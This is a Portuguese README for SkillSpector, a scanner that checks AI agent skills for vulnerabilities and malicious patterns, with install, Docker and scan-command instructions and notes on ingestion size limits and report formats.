SkillSpector

Scanner de segurança para skills de agentes de IA. Detecte vulnerabilidades, padrões maliciosos e riscos de segurança antes de instalar skills de agentes.

Visão geral

As skills de agentes de IA (usadas por Claude Code, Codex CLI, Gemini CLI, etc.) são executadas com confiança implícita e verificação mínima. No subconjunto de 31.132 skills analisadas do conjunto de dados de pesquisa, 26,1% das skills contêm vulnerabilidades e 5,2% demonstram provável intenção maliciosa.

O SkillSpector ajuda você a responder: "Esta skill é segura para instalar?"

O SkillSpector faz parte do pipeline NVIDIA Verified Skills, que escaneia, avalia e assina skills de agentes antes da publicação. As skills aprovadas são publicadas no catálogo de skills da NVIDIA.

Documentação

• Escaneie skills de agentes antes da instalação — Guia hospedado: quando escanear, como ler um relatório e como restringir instalações.
• Guia de desenvolvimento — Arquitetura, estrutura de pacotes e como estender o pipeline do analisador.
• Limites de recursos de análise — Limites de bundle, parser, artefatos aninhados, ledger e achados com falha fechada.
• Extensão Pi — Instale o SkillSpector como ferramenta Pi para escanear skills de dentro de sessões de agentes.
• Extensão OpenCode — Instale o SkillSpector como ferramenta OpenCode e comando /skillspector para escanear skills de dentro de sessões de agentes.

Recursos

• Entrada multiformato: Escaneie repositórios Git, URLs, arquivos zip, diretórios ou arquivos únicos
• 71 padrões de vulnerabilidade em 17 categorias: injeção de prompt, exfiltração de dados, escalonamento de privilégios, cadeia de suprimentos, agência excessiva, tratamento de saída, vazamento de prompt de sistema, envenenamento de memória, uso indevido de ferramentas, agente desonesto, anti-recusa, abuso de gatilho, código perigoso (AST), rastreamento de taint, assinaturas YARA, privilégio mínimo MCP e envenenamento de ferramentas MCP
• Análise em dois estágios: Análise estática rápida + avaliação semântica opcional por LLM
• Consultas de vulnerabilidade em tempo real: SC4 consulta o OSV.dev para dados de CVE em tempo real com fallback offline automático
• Múltiplos formatos de saída: Relatórios em terminal, JSON, Markdown e SARIF
• Pontuação de risco: Pontuação de 0 a 100 com rótulos de severidade e recomendações claras
• Supressão de linha de base / falsos positivos: Aceite achados conhecidos via regra glob ou linha de base de fingerprint para que reescaneamentos revelem apenas problemas novos (docs)

Início rápido

Instalação

Aviso de software de código aberto: Este projeto baixará e instalará projetos adicionais de software de código aberto de terceiros. Revise os termos de licença desses projetos de código aberto antes do uso.

Crie e ative primeiro um ambiente virtual (todos os alvos do make assumem que o venv está ativo). Use uv ou pip; o Makefile usa uv se disponível, caso contrário pip.

Instalação rápida com uv (somente CLI):

uv tool install git+https://github.com/NVIDIA/skillspector.git
# Update later: uv tool update skillspector

Se você planeja executar skillspector mcp, instale o extra MCP no momento da instalação:

uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

Da fonte:

# Clone the repository
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector

# Create and activate virtual environment
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate

# Install for production use
make install

# Or install with development dependencies
make install-dev

Docker (sem necessidade de Python)

Execute o SkillSpector sem instalar Python, compilando-o localmente a partir do Dockerfile incluído. A imagem é baseada na imagem oficial do Docker Python 3.12-slim-bookworm.

Compilar a imagem:

make docker-build
# or: docker build -t skillspector .

Escaneie um diretório local montando seu diretório atual em /scan, o diretório de trabalho do contêiner:

docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm

Escaneie com análise de LLM passando credenciais com um arquivo .env local:

cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF

docker run --rm \
  -v "$PWD:/scan" \
  --env-file .env \
  skillspector scan ./my-skill/

Ou passe as credenciais diretamente do ambiente do seu shell:

docker run --rm \
  -v "$PWD:/scan" \
  -e SKILLSPECTOR_PROVIDER=anthropic \
  -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
  skillspector scan ./my-skill/

Escreva um relatório no sistema de arquivos do host gravando no diretório montado:

docker run --rm --user "$(id -u):$(id -g)" \
  -v "$PWD:/scan" \
  skillspector scan ./my-skill/ --no-llm --format json --output report.json

Alias opcional para varreduras estáticas repetidas:

alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm

Uso Básico

# Scan a local skill directory
skillspector scan ./my-skill/

# Scan a single SKILL.md file
skillspector scan ./SKILL.md

# Scan a Git repository
skillspector scan https://github.com/user/my-skill

# Scan a zip file
skillspector scan ./my-skill.zip

Limites de tamanho

O SkillSpector aplica dois limites independentes em entradas remotas e de arquivo para restringir o impacto de downloads excessivos e zip bombs:

• Limite por ingestão: INGEST_MAX_BYTES (100 MiB) — aplicado a downloads de URL em streaming, ao tamanho total descompactado de arquivos zip e ao uso de disco pós-clone de repositórios Git.
• Limite de membros do zip: INGEST_MAX_ZIP_MEMBERS (10.000) — limita o número de entradas em um único zip.

Observe que o limite de análise de 1 MB por arquivo (MAX_FILE_BYTES) é um limite separado e posterior: ele restringe o que os analisadores individuais lerão de um diretório já ingerido. Os limites de ingestão acima restringem quanto conteúdo pode chegar ao disco em primeiro lugar. A violação de qualquer um dos limites de ingestão falha de forma segura com um IngestLimitExceededError.

Formatos de Saída

# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/

# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json

# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md

# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif

Verificação em Lote

Verifique diretórios inteiros de skills em paralelo a partir de contrib/batch_scan/:

python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20